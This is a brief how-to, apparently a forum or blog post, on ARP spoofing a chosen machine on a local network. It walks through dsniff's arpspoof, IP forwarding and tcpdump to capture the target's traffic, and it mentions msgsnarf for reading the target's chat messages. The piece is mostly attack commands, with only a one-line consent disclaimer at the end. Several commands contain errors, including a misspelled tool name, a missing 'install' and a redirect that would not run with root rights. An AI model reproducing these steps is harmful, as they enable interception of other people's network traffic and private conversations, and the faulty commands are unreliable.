how to use arp spoofing

here i'l try to describe how to do an arp spoofing and sniff the traffic
my main idea is to make my pc pretend to be the router and get the traffic of a specific pc
Operating system used: ubuntu
Software used : arpsppf (dsniff package), and tcpdump

1- download the dsniff package
sudo apt-get dsniff

2- allow forwarding of the traffic so target pc will not fail to communicate
sudo echo 1 > /proc/sys/net/ipv4/ip_forward

3- start arp spoofing to target_ip and pretend to be router_ip
sudo arpsppof -i interfacename -t target_ip router_ip
example:
sudo arpsppof -i wlan0 -t 192.168.1.10 192.168.1.1

4- start tcpdump to see traffic
tcpdump -ni wlan0 host 192.168.1.10

now we get the traffic from the target_ip (192.168.1.10)

further we can use tools to sniff data
- for chating programs like yahoo and msn use msgsnarf (dsniff package)


and finally:
you shouldn't perform such activities except on networks owned by yourself or you have a written consent by the owner.